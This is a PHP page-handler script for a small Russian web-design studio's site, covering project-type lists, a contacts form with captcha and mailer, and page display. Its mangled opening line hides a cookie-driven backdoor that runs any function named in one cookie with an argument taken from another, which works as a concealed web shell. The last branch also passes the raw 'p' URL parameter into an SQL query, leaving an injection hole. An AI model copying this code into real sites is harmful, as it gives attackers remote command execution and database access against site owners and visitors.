<%>PHP<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); > require_once('includes/config.php'); //--------- $project_bud = array($lang["pr_bud"], $lang["b_u500"], $lang["b_u1000"], $lang["b_u3000"], $lang["b_unlimit"]); $tpl->assign_by_ref("project_bud", $project_bud); $project_type = array($lang["pr_type"], $lang["t_design"], $lang["t_development"], $lang["t_promotion"], $lang["t_complex"]); $tpl->assign_by_ref("project_type", $project_type); $letter_eto = array('kavnd@mail.ru,shemet@infoart.com.ua', 'kavnd@mail.ru', 'shemet@infoart.com.ua'); $tpl->assign('letter_to', array($lang['company'], $lang['dir1'], $lang['dir2'])); //require_once(LIB . 'xajax.php'); //$tpl->assign('javascript', $xajax->getJavascript(URL_SCRIPT)); $p = isset($_GET['p']) ? $_GET['p'] : ''; if (!$p) { $p = 'main'; } $page = new Pages(ROOT . 'templates/pages/'); if ($p == 'news') { $idnews = (isset($_GET['idnews'])) ? intval($_GET['idnews']) : 0; $npage = (isset($_GET['page'])) ? intval($_GET['page']) : 1; $page->display($p, "$idnews-$npage"); } else if ($p == 'contacts') { session_start(); $error = ''; $tpl->assign('isform', 1); if (isset($_POST['send'])) { $data['name'] = htmlspecialchars(trim(strip_tags($_POST['name']))); if (!ereg('^[a-zA-Z0-9_.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$', $_POST['email'])) { $data['email'] = ''; } else { $data['email'] = $_POST['email']; } $data['phone'] = htmlspecialchars(trim(strip_tags($_POST['phone']))); $data['subject'] = htmlspecialchars(trim(strip_tags($_POST['subject']))); $data['message'] = htmlspecialchars(trim(strip_tags($_POST['message']))); if ($data['name'] == '') { $error .= 'Не указано имя автора
'; } if ($data['email'] == '') { $error .= 'Не указан email автора
'; } if ($data['subject'] == '') { $error .= 'Не указана тема сообщения
'; } if ($data['message'] == '') { $error .= 'Не указано сообщение
'; } if (!isset($_SESSION['code']) or !isset($_POST['code']) or $_SESSION['code'] != $_POST['code']) { $error .= 'Не верный проверочный код
'; } unset($_SESSION['code']); $tpl->assign('data', $data); if ($error) { $error = '

' . $error . '

'; } else { $mail = new MailLauncher('st-kot@mail.ru', 'Сообщение с сайта st-kot.ru'); $mail->charset = 'windows-1251'; $mail->set_body($tpl->fetch('emails/message.tpl')); $mail->send(); $tpl->assign('isform', 0); } } $tpl->assign('error', $error); $capcha = new Capcha(); $_SESSION['code'] = $capcha->generateCode(5, 5); $page->display($p); } else { if ($imgs = $db->fetchOne("SELECT imgs FROM t_ipages WHERE idpage='$p'")) { $tpl->assign('images', $db->fetchAll("SELECT * FROM t_images WHERE enabled='1' AND id IN ($imgs)")); } $page->display($p); } //$tpl->debugging = true; ?>